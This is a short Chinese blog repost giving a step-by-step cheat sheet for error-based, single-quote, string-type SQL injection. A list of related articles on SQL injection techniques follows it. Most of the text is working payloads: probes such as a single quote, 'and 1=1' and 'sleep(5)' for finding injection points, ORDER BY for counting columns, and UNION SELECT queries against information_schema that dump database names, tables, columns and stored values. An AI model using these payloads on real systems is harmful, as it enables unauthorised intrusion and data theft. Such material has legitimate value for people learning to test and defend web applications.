sql注入基于错误-单引号-字符型

查找注入点

在url中：

1. '

2. and 1=1/and 1=2

3. 随即输入（整形）

4. -1/+1回显上下页面（整形）

5. and sleep（5）（判断页面返回时间）

判断有多少列

order by .....

爆显示位：

id=88888888') union select 1,2,3 --+

先获取数据库：

id=') union select 1,2,group_concat(distinct+table_schema) from information_schema.columns --+

再获取数据库的所有表:

id=') union select 1,2,group_concat(distinct+table_name) from information_schema.columns where table_schema='库名' --+

再获取表中的字段:

id=') union select 1,2,group_concat(distinct+column_name) from information_schema. columns where table_name='表名' --+

再获取字段信息：

id=') union select 1,2,group_concat(id,sessid,secret_EXS6,tryy) from 库名.表名--+

转载于:https://www.cnblogs.com/sky--/p/5761748.html

sql注入基于错误-单引号-字符型相关推荐

SQL注入——基于联合查询的字符型GET注入（三）
本章目的普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...
SQL注入——基于报错的注入（五）
本章目的普及报错功能函数extractvalue()的用法,演示基于报错的SQL注入基本流程. 实验环境攻击机:Pentest-Atk (1)操作系统:Windows10 (2)安装的应用软件:S ...
【less-11】基于SQLI的POST字符型SQL注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入实验目的实验环境实验原理实验步骤第一步判断是够存在POST型注入点 ...
墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)
0x00 前言我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...
SQL注入——基于时间的盲注（九）
本章目的普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟基 ...
SQL注入——基于布尔的盲注（八）
本章目的普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论基本概念盲注在SQL注入过程 ...
sql中插入带有单引号的数据
字符串数据是用单引号包在外面的,如果插入的数据中包含单引号,就需要再做处理可以将单引号替换成两个单引号,在sql中连续两个单引号就表示一个单引号字符举例如下: insert into A(a1,a ...
解决特殊字符引起json解析错误--单引号、双引号转义
解决特殊字符引起json解析错误–单引号.双引号转义这几天在做一个题库管理,遇到了一个问题,将后台的json数据传到前台用parse解析时,出现了一个错误: Uncaught SyntaxError ...
SQL中的五种数据类型:字符型，文本型，数值型，逻辑型和日期型
简要描述一下SQL中的五种数据类型:字符型,文本型,数值型,逻辑型和日期型字符型 VARCHAR VS CHAR VARCHAR型和CHAR型数据的这个差别是细微的,但是非常重要.他们都是用来储存字 ...

sql注入基于错误-单引号-字符型

sql注入基于错误-单引号-字符型相关推荐

最新文章

热门文章